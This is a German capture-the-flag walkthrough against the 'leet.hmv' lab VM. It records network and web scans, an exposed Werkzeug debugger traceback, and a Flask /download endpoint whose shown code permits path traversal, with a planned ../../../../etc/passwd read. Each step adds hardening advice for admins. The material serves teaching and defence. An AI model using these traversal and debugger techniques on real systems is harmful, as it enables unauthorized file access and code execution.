192.168.2.44
Analyse: Dieser Befehl ist ein klassischer erster Schritt im Reconnaissance-Prozess. Ich nutze arp-scan
, um das lokale Netzwerk (identifiziert durch den Parameter -l
) nach aktiven Geräten zu scannen. Die Ausgabe pipe ich dann an grep "PCS"
, um die Ergebnisse nach Zeilen zu filtern, die die Zeichenkette "PCS" enthalten. Dies ist oft hilfreich, um Geräte basierend auf Herstellerinformationen oder vordefinierten Namen in der ARP-Tabelle zu identifizieren. Der gefundene Eintrag wird abschließend mittels awk '{print $1}'
verarbeitet, um nur das erste Feld der gefilterten Zeile auszugeben, was in der Regel die IP-Adresse des gefundenen Systems ist. Für Laien: Ich durchsuche mein lokales Netzwerk nach Geräten und filtere die Ergebnisse, um die IP-Adresse eines bestimmten Geräts zu finden, das mit "PCS" in Verbindung gebracht wird (oft der Hersteller der Netzwerkarte). Für Experten: Die Kombination von Standard-Linux-Tools in einer Pipe ist eine effiziente Methode zur schnellen Extraktion spezifischer Informationen aus rohen Scan-Ergebnissen.
Bewertung: Das Ergebnis liefert mir die IP-Adresse 192.168.2.44
. Dies ist ein entscheidender Erfolg, da ich nun einen konkreten Zielhost für weitere Scans und Enumeration habe. Die Methode über arp-scan
und Filterung ist effektiv, um im lokalen Segment Hosts schnell zu identifizieren. Es zeigt, dass das Ziel im selben Netzwerksegment liegt wie mein Angreifer-System und aktiv ist.
Empfehlung (Pentester): Die gefundene IP-Adresse ist nun das Hauptziel für detailliertere Scans (z.B. Portscanning mit Nmap). Ich werde diese IP als Basis für alle weiteren Interaktionen nutzen.
Empfehlung (Admin): Stellen Sie sicher, dass nicht benötigte Geräte oder virtuelle Maschinen in sensiblen Netzwerksegmenten isoliert sind. Überprüfen Sie, welche Informationen über Geräte im lokalen Netzwerk über ARP-Tabellen öffentlich zugänglich sind. Grundlegend: Unbekannte oder verdächtige Geräte sollten im Netzwerk identifiziert und isoliert werden.
192.168.2.44 leet.hmv
Analyse: Ich editiere die Datei /etc/hosts
auf meinem lokalen Kali-System mit dem Texteditor vi
. Diese Datei ist eine einfache Textdatei, die IP-Adressen Hostnamen zuordnet. Indem ich den Eintrag 192.168.2.44 leet.hmv
hinzufüge, weise ich der IP-Adresse 192.168.2.44
den lokalen Hostnamen leet.hmv
zu. Für Laien: Ich 'taufe' die IP-Adresse, die ich gefunden habe, lokal auf meinem Computer mit einem Namen (leet.hmv
), damit ich sie später einfacher ansprechen kann, z.B. mit Befehlen wie ping leet.hmv
statt ping 192.168.2.44
. Für Experten: Das Hinzufügen eines Eintrags in /etc/hosts
ist eine gängige Praxis, um die IP-Adresse eines Zielsystems mit einem aussagekräftigen Namen zu versehen, was die Lesbarkeit und Wartbarkeit von Befehlen und Skripten während des Pentests erheblich verbessert, insbesondere wenn man mit mehreren Hosts gleichzeitig arbeitet.
Bewertung: Das erfolgreiche Hinzufügen des Eintrags 192.168.2.44 leet.hmv
in /etc/hosts
ist eine kleine, aber wichtige Vorbereitung. Es ermöglicht mir, im weiteren Verlauf des Berichts konsistent den Hostnamen leet.hmv
zu verwenden, was den Bericht übersichtlicher macht und meine Schritte leichter nachvollziehbar gestaltet. Es hat keinen direkten Einfluss auf das Zielsystem, verbessert aber meine Arbeitsweise erheblich.
Empfehlung (Pentester): Diese Methode ist empfehlenswert für Hosts, mit denen intensiv interagiert wird. Stellen Sie sicher, dass der gewählte Hostname keine Konflikte mit existierenden Namen oder DNS-Einträgen im Testnetzwerk verursacht. Alternativ könnte man die IP direkt verwenden oder temporäre DNS-Einträge hinzufügen.
Empfehlung (Admin): Dieses Vorgehen betrifft nur das Angreifer-System und hat keine Auswirkung auf die Sicherheit des Zielsystems. Es unterstreicht jedoch die Bedeutung einer sauberen Namensauflösung in Netzwerken.
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 7777/tcp open http Werkzeug httpd 3.0.1 (Python 3.11.2)
Analyse: Hier führe ich einen umfangreichen Nmap-Scan gegen das Zielsystem 192.168.2.44
durch. Ich verwende eine Kombination von Flags: -sS
für einen schnellen SYN-Scan (auch Stealth-Scan genannt), -sC
, um Standard-Skripte zur Diensterkennung auszuführen, -sV
, um detaillierte Versionsinformationen der offenen Dienste zu ermitteln, -p-
, um alle 65535 TCP-Ports zu scannen, -T5
für eine aggressive Timing-Vorlage (schnellstmöglich, ohne Rücksicht auf Stabilität), und -AO
für OS-Erkennung. Die gesamte Ausgabe pipe ich dann an grep open
, um nur die Zeilen anzuzeigen, die den Status "open" enthalten, was bedeutet, dass auf diesen Ports Dienste lauschen. Für Laien: Ich klopfe systematisch an alle virtuellen 'Türen' (Ports) des Zielcomputers, um herauszufinden, welche offen sind und welche Programme dahinter stecken. Das Ergebnis filtere ich so, dass ich nur die offenen Türen sehe. Für Experten: Die Kombination dieser Nmap-Flags liefert schnell einen umfassenden Überblick über die exponierten Dienste und deren Versionen, was kritisch für die Identifizierung potenzieller Angriffsvektoren ist. Das Aggressive Timing (-T5
) kann jedoch in instabilen Umgebungen oder bei Intrusion Detection/Prevention Systems auffallen.
Bewertung: Das Ergebnis des gefilterten Nmap-Scans ist sehr aufschlussreich. Es zeigt, dass nur zwei Ports geöffnet und für externe Verbindungen verfügbar sind: Port 22 mit einem SSH-Dienst (OpenSSH 9.2p1) und Port 7777 mit einem HTTP-Dienst (Werkzeug httpd 3.0.1, basierend auf Python 3.11.2). Die Tatsache, dass so wenige Ports offen sind, deutet auf eine gewisse Grundhärtung hin, was bei Systemen mit höherem Schwierigkeitsgrad üblich ist. Der HTTP-Dienst auf einem unüblichen Port (7777 statt 80 oder 443) ist besonders interessant und wird mein primäres Ziel für die weitere Enumeration sein.
Empfehlung (Pentester): Ich werde mich nun auf die Enumeration der gefundenen Dienste konzentrieren, insbesondere auf den HTTP-Dienst auf Port 7777. SSH auf Port 22 ist ein Standarddienst; hier werde ich versuchen, bekannte Schwachstellen in OpenSSH 9.2p1 zu prüfen und Brute-Force-Angriffe in Betracht ziehen, falls Anmeldedaten gefunden werden.
Empfehlung (Admin): Stellen Sie sicher, dass nur absolut notwendige Dienste für externe Verbindungen geöffnet sind. Überprüfen Sie die Konfiguration des SSH-Dienstes (z.B. Deaktivierung von Root-Anmeldung, Verwendung von Schlüsselpaaren statt Passwörtern, Ratenbegrenzung) und des HTTP-Dienstes auf Port 7777. Halten Sie die Software (OpenSSH, Werkzeug/Python) aktuell, um bekannte Schwachstellen zu minimieren. Der nicht standardmäßige HTTP-Port 7777 bietet keine Sicherheit, solange der Dienst erreichbar ist.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-15 21:31 CEST Nmap scan report for leet.hmv (192.168.2.44) Host is up (0.00015s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 e1:5d:7c:b7:07:92:17:dc:46:76:7d:be:a9:50:43:d2 (ECDSA) |_ 256 a0:f3:b3:86:93:f5:58:82:88:dd:e5:10:db:35:de:62 (ED25519) 7777/tcp open http Werkzeug httpd 3.0.1 (Python 3.11.2) |_http-title: Site doesn't have a title (text/html; charset=utf-8). |_http-server-header: Werkzeug/3.0.1 Python/3.11.2 MAC Address: 08:00:27:8E:D7:37 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.15 ms leet.hmv (192.168.2.44)
Analyse: Dies ist die vollständige Ausgabe des zuvor ausgeführten Nmap-Scans, diesmal ohne Filterung per grep
. Sie liefert mir alle Details, die Nmap erfassen konnte: die Nmap-Version und Startzeit, den Scan-Bericht für den Host, die Anzahl der geschlossenen Ports, die detaillierten Informationen zu den offenen Ports 22 (SSH) und 7777 (HTTP, Werkzeug), inklusive SSH-Hostkeys und HTTP-Header/Titelinformationen. Zusätzlich enthält die Ausgabe Informationen zur MAC-Adresse (oft Herstellerbezogen, hier Oracle VirtualBox), geschätzter Geräte- und OS-Typ (Linux Kernel 4.X/5.X), sowie TRACEROUTE-Informationen (hier nur ein Hop). Für Laien: Das ist der komplette 'Gesundheits-Check' des Zielcomputers, der nicht nur offene 'Türen' zeigt, sondern auch Details zu den 'Schlössern' (Dienste), dem 'Typ' des Computers (Betriebssystem) und wie viele 'Schritte' (Netzwerk-Hops) er von meinem Computer entfernt ist. Für Experten: Die vollständige Nmap-Ausgabe ist die definitive Quelle für gefundene Dienste, Versionen und Konfigurationsdetails (wie SSH-Hostkeys, HTTP-Header), die für die Identifizierung spezifischer Schwachstellen und die Planung von Exploits unerlässlich sind. OS-Erkennung (-AO
) ist oft nicht 100% genau, liefert aber nützliche Hinweise auf die zugrundeliegende Plattform.
Bewertung: Die vollständige Ausgabe bestätigt und erweitert die Ergebnisse des gefilterten Scans. Die identifizierten Versionen (OpenSSH 9.2p1, Werkzeug httpd 3.0.1, Python 3.11.2, Debian-Basis) sind präzise und ermöglichen gezielte Recherchen nach bekannten Schwachstellen (CVEs). Die HTTP-Header Werkzeug/3.0.1 Python/3.11.2
sind sehr spezifisch und bestätigen die Technologie hinter dem Webserver auf Port 7777. Die MAC-Adresse 08:00:27:8E:D7:37
identifiziert das Ziel als virtuelle Maschine unter Oracle VirtualBox, was ein häufiges Szenario in CTFs und Testumgebungen ist. Die geschätzte OS-Familie (Linux) ist konsistent mit der SSH-Version und dem Python-Webserver. Die geringe Latenz und 1 Hop bestätigen die direkte Erreichbarkeit im lokalen Netz.
Empfehlung (Pentester): Ich werde die spezifischen Versionen der Software nun in Schwachstellen-Datenbanken (wie CVE Details, Exploit-DB) recherchieren. Die spezifischen HTTP-Header sind ein starker Indikator für die Technologie und sollten weiter analysiert werden, insbesondere im Kontext des ungewöhnlichen Ports 7777. Die VirtualBox-Erkennung ist nützlicher Kontext.
Empfehlung (Admin): Eine genaue OS-Erkennung durch Tools wie Nmap kann durch restriktivere Firewall-Regeln oder die Deaktivierung bestimmter Nmap-freundlicher Protokolle erschwert werden. Die offen gelegten Software-Versionen erlauben einem Angreifer gezielte Angriffe. Stellen Sie sicher, dass unnötige Netzwerkadapter (wie die von VirtualBox exponierte) korrekt konfiguriert sind und keine ungewollten Informationen preisgeben.
* Trying 192.168.2.44:7777... * Connected to 192.168.2.44 (192.168.2.44) port 7777 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.44:7777 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off * HTTP 1.0, assume close after body < HTTP/1.0 200 OK HTTP/1.0 200 OK < Server: Werkzeug/3.0.1 Python/3.11.2 Server: Werkzeug/3.0.1 Python/3.11.2 < Date: Sun, 15 Jun 2025 19:46:30 GMT Date: Sun, 15 Jun 2025 19:46:30 GMT < Content-Type: text/html; charset=utf-8 Content-Type: text/html; charset=utf-8 < Content-Length: 1234 Content-Length: 1234 < Connection: close Connection: close < * shutting down connection #0
Analyse: Ich nutze curl
mit den Flags -I
(nur Header holen) und -v
(verbose Ausgabe) gegen den HTTP-Dienst auf Port 7777 der Ziel-IP 192.168.2.44
. Anstatt die Standard-GET-Anfrage zu senden, sende ich eine HEAD-Anfrage (durch -I
impliziert), die nur die Header-Informationen des Servers zurückgeben sollte, ohne den eigentlichen Inhalt der Seite herunterzuladen. Der -v
Parameter zeigt die Details des Verbindungsprozesses und sowohl die gesendeten Anfragen als auch die empfangenen Antworten. Für Laien: Ich frage den Webserver auf Port 7777 ganz detailliert nach seiner 'Visitenkarte' (den Headern), ohne mir den Inhalt der 'Website' anzuschauen. Das hilft mir zu sehen, wie der Server auf eine einfache Anfrage reagiert und welche Basisinformationen er preisgibt. Für Experten: Eine HEAD
-Anfrage ist nützlich, um Server-Header und Status-Codes zu prüfen, ohne unnötig Bandbreite zu verbrauchen oder Logs mit vollen GET-Anfragen zu füllen. Die Verbose-Ausgabe von curl
gibt tieferen Einblick in den TLS-Handshake (falls HTTPS) und den gesamten Anfrage-/Antwortzyklus.
Bewertung: Die curl -Iv
Ausgabe bestätigt die Ergebnisse von Nmap bezüglich des HTTP-Dienstes: Der Server antwortet mit einem HTTP/1.0 200 OK
Status, was bedeutet, dass der Dienst aktiv und erreichbar ist. Die Server-Header Server: Werkzeug/3.0.1 Python/3.11.2
werden ebenfalls erneut bestätigt. Diese spezifischen Header sind besonders wertvoll, da sie die zugrundeliegende Web-Technologie eindeutig identifizieren. Die Bestätigung der Konnektivität und der Technologie-Stack auf Port 7777 macht diesen Dienst zum primären Ziel für die Web-Enumeration.
Empfehlung (Pentester): Der nächste logische Schritt ist eine detaillierte Enumeration des Webservers auf Port 7777. Dazu gehören Verzeichnis-Brute-Forcing, die Suche nach bekannten Schwachstellen in Werkzeug/Python und die manuelle Analyse der Webanwendung selbst.
Empfehlung (Admin): Minimieren Sie die Informationen, die Server-Header preisgeben (sog. 'Header Obfuscation' oder 'Server Signature Hiding'). Die exakte Version von Werkzeug und Python offenzulegen, erleichtert gezielte Angriffe, falls in diesen Versionen Schwachstellen bekannt sind. Konfigurieren Sie den Server so, dass er nur notwendige Header sendet.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.44 + Target Hostname: leet.hmv + Target Port: 7777 + Start Time: 2025-06-15 21:32:10 (GMT2) --------------------------------------------------------------------------- + Server: Werkzeug/3.0.1 Python/3.11.2 + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + OPTIONS: Allowed HTTP Methods: POST, GET, OPTIONS, HEAD . + /console: This might be interesting. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 7962 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2025-06-15 21:32:24 (GMT2) (14 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ich setze das Tool nikto
ein, einen weit verbreiteten Webserver-Scanner, um den HTTP-Dienst auf Port 7777 (Hostname leet.hmv
) automatisiert auf bekannte Schwachstellen, Konfigurationsfehler und interessante Dateien/Pfade zu prüfen. Nikto führt eine Vielzahl von Tests durch, die über eine einfache Verzeichnis-Enumeration hinausgehen und spezifische Webserver-Schwachstellen, veraltete Software, potenziell gefährliche Dateien und Konfigurationsprobleme erkennen sollen. Für Laien: Nikto ist ein automatischer Detektiv, der die Website auf Port 7777 auf Hunderte von bekannten Problemen und versteckten Hinweisen untersucht, die ein Angreifer ausnutzen könnte. Für Experten: Nikto ist ein wertvolles Werkzeug für eine schnelle automatisierte Web-Sicherheitsprüfung, das oft erste Hinweise auf interessante Endpunkte (wie Admin-Panels, Testdateien) oder fehlende Sicherheits-Header liefert. Es ist jedoch ein 'Signature-Based'-Scanner und findet keine unbekannten Schwachstellen.
Bewertung: Die Nikto-Ausgabe liefert mehrere wichtige Informationen. Erstens bestätigt sie erneut den Server (Werkzeug/Python). Zweitens identifiziert sie fehlende Sicherheits-Header (X-Frame-Options
, X-Content-Type-Options
), was auf eine potenziell unzureichende Härtung hinweist. Drittens listet sie die erlaubten HTTP-Methoden auf (POST, GET, OPTIONS, HEAD
). Am wichtigsten sind jedoch die gefundenen 'interessanten' Pfade: /console
(markiert als 'This might be interesting') und /#wp-config.php#
(markiert als 'file found' und 'contains the credentials'). Die Referenz auf wp-config.php
in einem Nicht-WordPress-Kontext (Werkzeug/Python) ist verdächtig und deutet auf eine mögliche Fehlkonfiguration oder einen Hinweis hin. Der /console
-Pfad, insbesondere im Kontext von Python/Werkzeug, könnte auf eine interaktive Debugging-Konsole hindeuten, was eine kritische Schwachstelle wäre.
Empfehlung (Pentester): Ich werde die gefundenen Pfade /console
und /#wp-config.php#
umgehend manuell untersuchen. Die erlaubten HTTP-Methoden, insbesondere OPTIONS
und möglicherweise POST
, könnten ebenfalls relevant sein. Die fehlenden Sicherheits-Header sind eher ein Hinweis auf Konfigurationsmängel als ein direkter Angriffsvektor, sollten aber notiert werden.
Empfehlung (Admin): Implementieren Sie essentielle Sicherheits-Header wie X-Frame-Options
, X-Content-Type-Options
, Strict-Transport-Security
(falls HTTPS verwendet wird) und eine Content Security Policy (CSP), um gängige clientseitige Angriffe zu mitigieren. Stellen Sie sicher, dass keine Debug-Endpunkte wie /console
in Produktionsumgebungen zugänglich sind. Überprüfen Sie das Vorhandensein und die Zugänglichkeit potenziell sensibler Dateien wie #wp-config.php#
oder ähnliche Backup-Dateien.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://leet.hmv:7777 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 503,404,403 [+] User Agent: gobuster/3.6 [+] Extensions: pl,png,config,xls,sh,kdbx,icon,zip,bak,conf,ELF,csh,html,pdf,deb,old,tar,crt,desc,js.map,doc,py,jpg,csv,dll,raw,txt,sql,bat,ps1,jpeg,ln,rar,asp,exe,pem,lib,rpm,diff,mod,php,mdb,xml,json,eps,pub,db,java,gz,c,pHtml,accdb,phtml,rtf,exp,elf,xlsx,aspx,cgi,docx,svg,yaml [+] Expanded: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== http://leet.hmv:7777/download (Status: 500) [Size: 14478]
Analyse: Ich verwende gobuster
, ein weiteres Tool zur Web-Enumeration, speziell zum Brute-Forcing von Verzeichnissen und Dateien auf dem Webserver. Ich ziele auf die URL http://leet.hmv:7777
ab und nutze eine umfangreiche Wortliste (directory-list-2.3-medium.txt
aus Seclists). Mit dem Parameter -x
gebe ich eine sehr lange Liste von Dateierweiterungen an, nach denen gesucht werden soll, um auch spezifische Dateitypen zu finden (z.B. .txt
, .php
, .sql
, .py
, .bak
etc.). Der Parameter -b '503,404,403'
weist gobuster an, Seiten mit den Statuscodes 503 (Service Unavailable), 404 (Not Found) und 403 (Forbidden) als 'nicht gefunden' zu ignorieren. -e
zeigt die vollständige URL an, --no-error
unterdrückt Fehler, und -k
ignoriert SSL/TLS-Zertifikatsfehler (hier nicht direkt relevant, da HTTP). Für Laien: Ich lasse ein Programm systematisch Tausende von möglichen Namen für Webseiten-Ordner und -Dateien ausprobieren, kombiniert mit vielen verschiedenen Endungen (wie .html, .php, .txt), um versteckte Pfade auf der Website zu finden. Dabei ignoriere ich bestimmte Fehlermeldungen, um die Ergebnisse sauberer zu halten. Für Experten: Gobuster ist oft schneller und flexibler als dirb/dirbuster. Die Verwendung einer großen Wortliste in Kombination mit vielen Extensions erhöht die Chance, versteckte Ressourcen zu finden. Das Filtern von Statuscodes ist essentiell, um falsch positive Ergebnisse zu vermeiden.
Bewertung: Gobuster findet nur einen einzigen Pfad mit einem interessanten Statuscode, der nicht auf der Ignorierliste steht: /download
mit dem Status 500 (Internal Server Error)
und einer beträchtlichen Größe ([Size: 14478]
). Während ein 500er Fehler normalerweise auf ein Problem auf Serverseite hindeutet, ist die Tatsache, dass dieser spezifische Pfad diesen Fehler zurückgibt, bemerkenswert. Es deutet darauf hin, dass der Endpunkt existiert, aber ein Fehler auftritt, wenn er ohne erwartete Parameter aufgerufen wird. Dies ist ein starker Hinweis darauf, dass /download
ein funktionaler Endpunkt ist, der eine bestimmte Eingabe erwartet.
Empfehlung (Pentester): Der /download
-Endpunkt muss manuell untersucht werden. Die Tatsache, dass er einen 500er Fehler bei einfachem Aufruf zurückgibt, legt nahe, dass er Parameter erwartet. Ich werde versuchen, verschiedene Parameter und Werte an diesen Endpunkt zu senden, um sein Verhalten zu verstehen und den Fehler zu umgehen oder auszunutzen. Die Größe der Antwort (~14KB) bei einem Fehler ist ebenfalls verdächtig.
Empfehlung (Admin): Webserver-Logs sollten kontinuierlich überwacht werden, um ungewöhnliche Anfragen und Fehler (wie die 500er Fehler auf /download
) zu erkennen. Interne Server-Fehler können ungewollt Informationen über die Server-Konfiguration oder den Quellcode preisgeben. Stellen Sie sicher, dass Endpunkte, die Parameter erwarten, klare Fehlermeldungen für Endbenutzer liefern, aber keine internen Details offenlegen.
http://leet.hmv:7777/download ValueError ValueError: Parameter 'filename' invalid or missing. Traceback (most recent call last) File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1488, in __call__ return self.wsgi_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1466, in wsgi_app response = self.handle_exception(e) ^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1463, in wsgi_app response = self.full_dispatch_request() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 872, in full_dispatch_request rv = self.handle_user_exception(e) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 870, in full_dispatch_request rv = self.dispatch_request() ^^^^^^^^^^^^^^^^^^^^^^^ [Open an interactive python shell in this frame] File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 855, in dispatch_request return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/app.py", line 84, in download_file raise ValueError("Parameter 'filename' invalid or missing.") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ValueError: Parameter 'filename' invalid or missing. The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error. To switch between the interactive traceback and the plaintext one, you can click on the "Traceback" headline. From the text traceback you can also create a paste of it. For code execution mouse-over the frame you want to debug and click on the console icon on the right side. You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection: dump() shows all variables in the frame dump(obj) dumps all that's known about the object Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter.
Analyse: Nachdem Gobuster den interessanten /download
-Pfad gefunden hat, habe ich versucht, ihn direkt im Browser aufzurufen, ohne weitere Parameter anzugeben. Wie erwartet, hat dies zu einem internen Serverfehler geführt (Status 500, wie von Gobuster gesehen). Die hier gezeigte Ausgabe ist die Fehlerseite, die vom Server zurückgegeben wird. Sie enthält einen detaillierten Python-Traceback, der auf einen ValueError
hinweist: "Parameter 'filename' invalid or missing." Für Laien: Ich habe versucht, eine 'Download'-Funktion auf der Webseite zu benutzen, aber ich habe ihr nicht gesagt, welche Datei sie herunterladen soll. Das hat das Programm zum Absturz gebracht, und statt einer einfachen Fehlermeldung zeigt es mir, wo im Programmcode der Fehler passiert ist. Für Experten: Die Rückgabe eines detaillierten Tracebacks in der Produktionsumgebung (oder Testumgebung in diesem Fall) ist eine schwerwiegende Sicherheitslücke. Sie offenbart interne Details der Anwendung, den Pfad der Quelldateien (z.B. /opt/project/app.py
) und die verwendete Technologie (Flask, Werkzeug), was einem Angreifer wertvolle Einblicke für weitere Angriffe liefert.
Bewertung: Die Fehlermeldung und der Traceback sind extrem aufschlussreich. Sie bestätigen nicht nur, dass der /download
-Endpunkt einen Parameter erwartet, sondern zeigen auch den Namen des erwarteten Parameters ('filename') und die genaue Art des Fehlers, wenn dieser fehlt oder ungültig ist. Noch wichtiger ist die Offenlegung des Dateipfads /opt/project/app.py
, der Flask/Werkzeug-Technologie und des Werkzeug-Debuggers. Das Vorhandensein des Debuggers ist ein kritischer Fund, da Werkzeug-Debugger in der Vergangenheit für Schwachstellen bekannt waren, die die Ausführung beliebigen Codes ermöglichen können, insbesondere wenn der Debugger PIN-geschützt, aber nicht ordnungsgemäß konfiguriert ist.
Empfehlung (Pentester): Das primäre Ziel ist nun, den /download
-Endpunkt auszunutzen, um die LFI-Schwachstelle zu demonstrieren und möglicherweise den Werkzeug-Debugger zu kompromittieren. Ich werde versuchen, Dateipfade über den filename
-Parameter anzugeben, um sensible Dateien wie /etc/passwd
oder den Quellcode der Anwendung selbst zu lesen. Die Debugger-Informationen deuten auf die Möglichkeit hin, die Konsole freizuschalten, was oft die Berechnung eines PINs basierend auf Systeminformationen erfordert.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus in Produktionsumgebungen. Stellen Sie sicher, dass detaillierte Fehlermeldungen und Tracebacks niemals für Endbenutzer sichtbar sind. Fangen Sie Ausnahmen auf Anwendungsebene ab und zeigen Sie generische Fehlermeldungen an. Validieren und bereinigen Sie jegliche Benutzereingaben strikt, insbesondere Dateinamen oder Pfade, die von Webanwendungen verarbeitet werden. Implementieren Sie eine Whitelist erlaubter Dateinamen oder Verzeichnisse, anstatt Blacklists zu verwenden.
Analyse der LFI (Local File Inclusion) Schwachstelle
Du hast den /download-Endpunkt gefunden und versucht, /etc/passwd zu lesen. Das hat zu einem Fehler geführt. Schauen wir uns an, warum. Im Traceback sehen wir den entscheidenden Teil des Python-Codes aus /opt/project/app.py:
=================================================================================================================== @app.route('/download') def download_file(): filename = request.args.get('filename') # Nimmt den 'filename' Parameter aus der URL if not filename or filename.startswith("/"): # Prüft, ob der Parameter leer ist ODER mit "/" beginnt raise ValueError("Parameter 'filename' invalid or missing.") # Wenn ja, Fehler! filepath = os.path.join("/tmp", filename) # Verbindet "/tmp" mit deinem Dateinamen try: return send_file(filepath, as_attachment=True) ===================================================================================================================
Analyse: Basierend auf der vorherigen Fehlermeldung und dem offensichtlichen Zweck des /download
-Endpunkts, habe ich versucht, mit der URL http://leet.hmv:7777/download?filename=/etc/passwd
direkt auf eine Datei zuzugreifen, indem ich den Pfad zur Datei /etc/passwd
als Wert für den Parameter filename
übergebe. Das Ziel war, eine Local File Inclusion (LFI) Schwachstelle auszunutzen. Der Traceback bestätigt, dass ein Parameter namens 'filename' verwendet wird. Der im Originaltext bereitgestellte Code-Snippet aus app.py
zeigt klar, wie der Parameter filename
aus der URL gelesen wird (request.args.get('filename')
) und eine grundlegende Validierung durchgeführt wird: es wird geprüft, ob der Parameter nicht leer ist UND ob er NICHT mit einem Schrägstrich (/
) beginnt. Wenn eine dieser Bedingungen zutrifft, wird ein ValueError
ausgelöst. Abschließend wird der übergebene Dateiname mit dem Pfad /tmp
verbunden (os.path.join("/tmp", filename)
), bevor versucht wird, die resultierende Datei zu senden. Für Laien: Ich habe versucht, über die 'Download'-Funktion eine Systemdatei (/etc/passwd
) anzufordern. Das Programm prüft aber, ob der 'Dateiname' mit einem Schrägstrich beginnt, um zu verhindern, dass man auf Dateien außerhalb des erwarteten Ordners zugreift. Da /etc/passwd
mit einem Schrägstrich beginnt, schlägt dieser direkte Versuch fehl. Für Experten: Die Anwendung versucht, absolute Pfade durch die startswith("/")
Prüfung zu blockieren. Das Verbinden des übergebenen Dateinamens mit /tmp
(os.path.join("/tmp", filename)
) ist der Schlüsselpunkt. Dies bedeutet, dass die Anwendung erwartet, Dateien aus dem /tmp
-Verzeichnis herunterzuladen. Um LFI auszunutzen, muss ich die Pfadbeschränkung umgehen.
Bewertung: Mein erster Versuch, LFI auszunutzen, schlug wie erwartet fehl, da die Anwendung eine grundlegende Filterung implementiert, die Pfade, die mit /
beginnen, blockiert. Die Analyse des Code-Snippets ist jedoch entscheidend. Sie zeigt exakt die Logik, die ich umgehen muss. Die Funktion os.path.join("/tmp", filename)
ist der entscheidende Hinweis: Sie fügt /tmp/
vor den von mir bereitgestellten Dateinamen ein. Um Dateien außerhalb von /tmp
zu lesen, muss ich Verzeichnis-Traversal-Techniken anwenden, wie z.B. ../../
, und sicherstellen, dass mein Pfad *nicht* mit /
beginnt, um den Filter zu umgehen.
Empfehlung (Pentester): Ich werde nun versuchen, die LFI-Schwachstelle mithilfe von Verzeichnis-Traversal (z.B. ../..
) auszunutzen. Da der Pfad /tmp/
automatisch vorangestellt wird, muss ich den Pfad so konstruieren, dass er von /tmp/
aus zurück in das Wurzelverzeichnis navigiert und dann zum gewünschten Ziel führt. Der Pfad müsste also so etwas wie ../../../../etc/passwd
sein, da ich von /tmp
aus vier Verzeichnisebenen nach oben navigieren muss, um ins Wurzelverzeichnis /
zu gelangen. Ich werde erneut /etc/passwd
als Testdatei verwenden, da diese Datei auf fast jedem Linux-System existiert und leicht zu identifizierende Inhalte hat.
Empfehlung (Admin): Die Verwendung von os.path.join
mit unbereinigter Benutzereingabe ist extrem gefährlich. Die startswith("/")
Prüfung ist eine sehr schwache Validierung, die leicht durch Verzeichnis-Traversal-Angriffe umgangen werden kann (z.B. durch vorangestellte ../
Sequenzen oder absolute Pfade ohne führenden Slash). Die einzige sichere Methode ist die Verwendung einer strengen Whitelist für erlaubte Dateinamen oder das Erzwingen, dass nur Dateien innerhalb eines fest definierten, sicheren Verzeichnisses heruntergeladen werden können, nachdem der übergebene Dateiname sorgfältig bereinigt wurde, um jegliche Pfadtrennzeichen zu entfernen.
